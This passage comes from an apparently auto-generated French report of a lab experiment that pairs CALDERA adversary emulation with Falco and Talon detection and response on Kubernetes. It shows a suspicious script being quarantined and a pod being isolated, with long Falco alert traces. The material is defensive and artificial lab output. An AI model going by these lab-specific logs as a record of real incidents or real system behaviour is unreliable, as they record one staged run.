Playbook` → OUI - Action principale : `PB2 Quarantine Artifact` → OUI - Preuve du résultat : OUI - Sévérité : ÉLEVÉE **Validation de la quarantaine** ```text remote_status=QUARANTINED source_exists_after=NO quarantine_exists=YES mode_before=755 mode_after=400 executable_after=NO source_fixture_sha256=4e7cd97b1b57424343256309741880403450c5007254d6e5e3f87a809f1fc16a quarantined_sha256=4e7cd97b1b57424343256309741880403450c5007254d6e5e3f87a809f1fc16a hash_match=YES ``` **Avant la quarantaine — source exécutable** ```text mode=755 permissions=-rwxr-xr-x owner=root:root size=72 path=/tmp/manual-curl-tool.sh ``` **Après la quarantaine — artefact en lecture seule et non exécutable** ```text mode=400 permissions=-r-------- owner=root:root size=72 path=/tmp/falco-quarantine/manual-curl-tool.sh ``` **SHA256 de l’artefact en quarantaine** ```text 4e7cd97b1b57424343256309741880403450c5007254d6e5e3f87a809f1fc16a quarantined-artifact.sh ``` **Trace Talon corrélée** ```text 2026-11-09T06:13:33Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:33.586683425+0000: Critical Executing binary not part of base image | proc_exe=/opt/cni/bin/calico proc_sname= gparent= proc_exe_ino_ctime=1794203385420700812 proc_exe_ino_mtime=1794203384969698646 proc_exe_ino_ctime_duration_proc_start=1428165601187 proc_cwd= container_start_ts=1794203237024714316 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=calico proc_exepath=/opt/cni/bin/calico parent=containerd command=calico terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=ec9af84c54ef57984356e5902556d732 2026-11-09T06:13:33Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:33.581072468+0000: Critical Executing binary not part of base image | proc_exe=/opt/cni/bin/portmap proc_sname= gparent= proc_exe_ino_ctime=1794203387134709040 proc_exe_ino_mtime=1794203387128709011 proc_exe_ino_ctime_duration_proc_start=1426445994142 proc_cwd= container_start_ts=1794203237024714316 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=portmap proc_exepath=/opt/cni/bin/portmap parent=containerd command=portmap terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=08253721743ed4bcc80e9c4de462b401 2026-11-09T06:13:33Z INF event event="Contact K8S API Server From Container" output="2026-11-09T06:13:33.669210806+0000: Notice Unexpected connection to K8s API Server from container | connection=172.18.0.2:59496->10.96.0.1:443 lport=443 rport=59496 fd_type=ipv4 fd_proto=tcp evt_type=connect user=root user_uid=0 user_loginuid=-1 process=calico proc_exepath=/opt/cni/bin/calico parent=containerd command=calico terminal=0" priority=Notice source=syscall trace_id=aa8b249ea4cf41dd595354293e74ae43 2026-11-09T06:13:33Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:33.687313749+0000: Critical Executing binary not part of base image | proc_exe=/opt/cni/bin/calico-ipam proc_sname= gparent=containerd proc_exe_ino_ctime=1794203386863707739 proc_exe_ino_mtime=1794203385745702372 proc_exe_ino_ctime_duration_proc_start=1426823338214 proc_cwd= container_start_ts=1794203237024714316 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=calico-ipam proc_exepath=/opt/cni/bin/calico-ipam parent=calico command=calico-ipam terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=ac5e5322b34d4b59ff0f522f312fcdee 2026-11-09T06:13:33Z INF action action="PB2 Quarantine Artifact" actionner=kubernetes:script event="2026-11-09T06:13:32.450198064+0000: Warning PR10 RESPONSE PB2 (pod=cible1 namespace=default processus=sh commande=sh -c PR10_PB2_RESPONSE=1; printf %s /tmp/manual-curl-tool.sh >/dev/null)" namespace=default pod=cible1 rule="PB2 File Quarantine Playbook" status=success trace_id=b3bb04eb8571d26d6e53fb93d36295d6 2026-11-09T06:13:33Z INF action action="PB2 Marker Complete" actionner=kubernetes:label event="2026-11-09T06:13:32.450198064+0000: Warning PR10 RESPONSE PB2 (pod=cible1 namespace=default processus=sh commande=sh -c PR10_PB2_RESPONSE=1; printf %s /tmp/manual-curl-tool.sh >/dev/null)" rule="PB2 File Quarantine Playbook" status=in_progress trace_id=b3bb04eb8571d26d6e53fb93d36295d6 2026-11-09T06:13:33Z INF notification action="PB2 Quarantine Artifact" actionner=kubernetes:script notifier=k8sevents rule="PB2 File Quarantine Playbook" stage=action status=success trace_id=b3bb04eb8571d26d6e53fb93d36295d6 2026-11-09T06:13:33Z INF event event="Contact K8S API Server From Container" output="2026-11-09T06:13:33.798485463+0000: Notice Unexpected connection to K8s API Server from container | connection=172.18.0.2:59512->10.96.0.1:443 lport=443 rport=59512 fd_type=ipv4 fd_proto=tcp evt_type=connect user=root user_uid=0 user_loginuid=-1 process=calico-ipam proc_exepath=/opt/cni/bin/calico-ipam parent=calico command=calico-ipam terminal=0" priority=Notice source=syscall trace_id=79c7fd07b895c858ddd989b063e7ce11 2026-11-09T06:13:33Z INF action action="PB2 Marker Complete" actionner=kubernetes:label event="2026-11-09T06:13:32.450198064+0000: Warning PR10 RESPONSE PB2 (pod=cible1 namespace=default processus=sh commande=sh -c PR10_PB2_RESPONSE=1; printf %s /tmp/manual-curl-tool.sh >/dev/null)" namespace=default output="the pod 'cible1' in the namespace 'default' has been labeled" pod=cible1 rule="PB2 File Quarantine Playbook" status=success trace_id=b3bb04eb8571d26d6e53fb93d36295d6 2026-11-09T06:13:33Z INF notification action="PB2 Marker Complete" actionner=kubernetes:label notifier=k8sevents rule="PB2 File Quarantine Playbook" stage=action status=success trace_id=b3bb04eb8571d26d6e53fb93d36295d6 ``` ### PB3 — PB3 Isolate Pod - Déclencheur Falco : `PR10 Response Trigger PB3 Shell Execution` → OUI - Sidekick → Talon : OUI - Playbook Talon : `PB3 Pod Isolation Playbook` → OUI - Action principale : `PB3 Isolate Pod` → OUI - Preuve du résultat : OUI - Sévérité : URGENTE **Sommaire de confinement — niveau gestion** | Validation | Avant l’isolement | Après l’isolement / reprise | |---|---|---| | Ingress et egress de `cible1` | 🟢 Ouvert | 🔴 Bloqué | | Nom | `cible1` | `cible1-service` | | Nouveau pod | Aucun | ✅ cible1-replacement-99b589dcc-cq7bd | **Ce qui s’est passé :** `cible1` a été isolé du trafic entrant et sortant et conservé pour l’analyse forensique; `cible1-replacement-99b589dcc-cq7bd` a pris la relève du service de production par `cible1-service` afin de maintenir la disponibilité. **Trace Talon corrélée** ```text 2026-11-09T06:13:56Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:56.190517139+0000: Critical Executing binary not part of base image | proc_exe=mount proc_sname= gparent= proc_exe_ino_ctime=1794203237390967569 proc_exe_ino_mtime=1785512076000000000 proc_exe_ino_ctime_duration_proc_start=1598799138907 proc_cwd=./ container_start_ts=1794203237024714316 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=mount proc_exepath=/usr/bin/mount parent= command=mount -t tmpfs -o size=8195915776,noswap tmpfs /var/lib/kubelet/pods/d42c65e5-c468-4816-8f47-429406851698/volumes/kubernetes.io~projected/kube-api-access-cfx4d terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=be887bb8898aacd44dc9cf51589cc1cd 2026-11-09T06:13:56Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:56.338136276+0000: Critical Executing binary not part of base image | proc_exe=/opt/cni/bin/calico proc_sname= gparent= proc_exe_ino_ctime=1794203385420700812 proc_exe_ino_mtime=1794203384969698646 proc_exe_ino_ctime_duration_proc_start=1450917097190 proc_cwd= container_start_ts=1794203237024714316 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=calico proc_exepath=/opt/cni/bin/calico parent=containerd command=calico terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=24c0a1407ae157013bcbfede93fbe679 2026-11-09T06:13:56Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:56.338135853+0000: Critical Executing binary not part of base image | proc_exe=/opt/cni/bin/loopback proc_sname= gparent= proc_exe_ino_ctime=1794203387120708973 proc_exe_ino_mtime=1794203387113708939 proc_exe_ino_ctime_duration_proc_start=1449217068544 proc_cwd= container_start_ts=1794203237024714316 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=loopback proc_exepath=/opt/cni/bin/loopback parent=containerd command=loopback terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=4887fa2a067d24c734557d564044bd92 2026-11-09T06:13:56Z INF event event="Contact K8S API Server From Container" output="2026-11-09T06:13:56.431810086+0000: Notice Unexpected connection to K8s API Server from container | connection=172.18.0.2:59416->10.96.0.1:443 lport=443 rport=59416 fd_type=ipv4 fd_proto=tcp evt_type=connect user=root user_uid=0 user_loginuid=-1 process=calico proc_exepath=/opt/cni/bin/calico parent=containerd command=calico terminal=0" priority=Notice source=syscall trace_id=e30c21240cef1eac0937b8b231a41362 2026-11-09T06:13:56Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:56.461322619+0000: Critical Executing binary not part of base image | proc_exe=/opt/cni/bin/calico-ipam proc_sname= gparent=containerd proc_exe_ino_ctime=1794203386863707739 proc_exe_ino_mtime=1794203385745702372 proc_exe_ino_ctime_duration_proc_start=1449597309706 proc_cwd= container_start_ts=1794203237024714316 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=calico-ipam proc_exepath=/opt/cni/bin/calico-ipam parent=calico command=calico-ipam terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=087d5baa05fbcf90af5eac5f4a1bb6c8 2026-11-09T06:13:56Z INF event event="Contact K8S API Server From Container" output="2026-11-09T06:13:56.550851790+0000: Notice Unexpected connection to K8s API Server from container | connection=172.18.0.2:59428->10.96.0.1:443 lport=443 rport=59428 fd_type=ipv4 fd_proto=tcp evt_type=connect user=root user_uid=0 user_loginuid=-1 process=calico-ipam proc_exepath=/opt/cni/bin/calico-ipam parent=calico command=calico-ipam terminal=0" priority=Notice source=syscall trace_id=df2327e64c89fde3ed5188a4784504d7 2026-11-09T06:13:56Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:56.652250538+0000: Critical Executing binary not part of base image | proc_exe=/opt/cni/bin/portmap proc_sname= gparent= proc_exe_ino_ctime=1794203387134709040 proc_exe_ino_mtime=1794203387128709011 proc_exe_ino_ctime_duration_proc_start=1449517088711 proc_cwd= container_start_ts=1794203237024714316 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=portmap proc_exepath=/opt/cni/bin/portmap parent=containerd command=portmap terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=e0f85fe0936dcb8591090306dfae0d82 2026-11-09T06:13:57Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:57.150359132+0000: Critical Executing binary not part of base image | proc_exe=mount proc_sname=runc:[1:CHILD] gparent=runc:[1:CHILD] proc_exe_ino_ctime=1794203237390967569 proc_exe_ino_mtime=1785512076000000000 proc_exe_ino_ctime_duration_proc_start=1599758981149 proc_cwd=/run/containerd/io.containerd.runtime.v2.task/k8s.io/a2acae825b304d08ed9a9d11634e5497b54c2fb72421d4294b82b467f19fd277/rootfs/ container_start_ts=1794204836957360535 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=mount proc_exepath=/usr/bin/mount parent=mount-product-f command=mount -o ro,bind /run/containerd/io.containerd.runtime.v2.task/k8s.io/a2acae825b304d08ed9a9d11634e5497b54c2fb72421d4294b82b467f19fd277/rootfs/product_name /run/containerd/io.containerd.runtime.v2.task/k8s.io/a2acae825b304d08ed9a9d11634e5497b54c2fb72421d4294b82b467f19fd277/rootfs/sys/class/dmi/id/product_name terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=1ac0f4df6ef718c70748663a0da654b4 2026-11-09T06:13:57Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:57.154657979+0000: Critical Executing binary not part of base image | proc_exe=mount proc_sname=runc:[1:CHILD] gparent=runc:[1:CHILD] proc_exe_ino_ctime=1794203237390967569 proc_exe_ino_mtime=1785512076000000000 proc_exe_ino_ctime_duration_proc_start=1599763168700 proc_cwd=/run/containerd/io.containerd.runtime.v2.task/k8s.io/a2acae825b304d08ed9a9d11634e5497b54c2fb72421d4294b82b467f19fd277/rootfs/ container_start_ts=1794204836957360535 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=mount proc_exepath=/usr/bin/mount parent=mount-product-f command=mount -o ro,bind /run/containerd/io.containerd.runtime.v2.task/k8s.io/a2acae825b304d08ed9a9d11634e5497b54c2fb72421d4294b82b467f19fd277/rootfs/product_uuid /run/containerd/io.containerd.runtime.v2.task/k8s.io/a2acae825b304d08ed9a9d11634e5497b54c2fb72421d4294b82b467f19fd277/rootfs/sys/class/dmi/id/product_uuid terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=b2f93366787ea8c467320fe505d03ce1 2026-11-09T06:13:57Z INF event event="Drop and execute new binary in container" output="2026-11-09T06:13:57.159098896+0000: Critical Executing binary not part of base image | proc_exe=mount proc_sname=runc:[1:CHILD] gparent=runc:[1:CHILD] proc_exe_ino_ctime=1794203237390967569 proc_exe_ino_mtime=1785512076000000000 proc_exe_ino_ctime_duration_proc_start=1599767613313 proc_cwd=/run/containerd/io.containerd.runtime.v2.task/k8s.io/a2acae825b304d08ed9a9d11634e5497b54c2fb72421d4294b82b467f19fd277/rootfs/ container_start_ts=1794204836957360535 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=mount proc_exepath=/usr/bin/mount parent=mount-product-f command=mount -o ro,bind /run/containerd/io.containerd.runtime.v2.task/k8s.io/a2acae825b304d08ed9a9d11634e5497b54c2fb72421d4294b82b467f19fd277/rootfs/product_uuid /run/containerd/io.containerd.runtime.v2.task/k8s.io/a2acae825b304d08ed9a9d11634e5497b54c2fb72421d4294b82b467f19fd277/rootfs/sys/devices/virtual/dmi/id/product_uuid terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER" priority=Critical source=syscall trace_id=802b1f1ba34167423bd453215dc1e5d7 ``` ## 5 — Traçabilité - **Workflow :** `Expérience CALDERA + détection et réponse Falco (rejoué sur AWS EC2)` - **Exécution :** `#1 (ID aws-20261109-0608)` - **Commit :** `1ba6bb10e353cb2edde2e0ac5fa94c7d78342640` - **Branche :** `main` - **Cluster :** `secu-lab` - **Cible :** `default/cible1` - **Pair :** `default/cible2` _Généré automatiquement à partir des artefacts de l’expérience pendant l’exécution._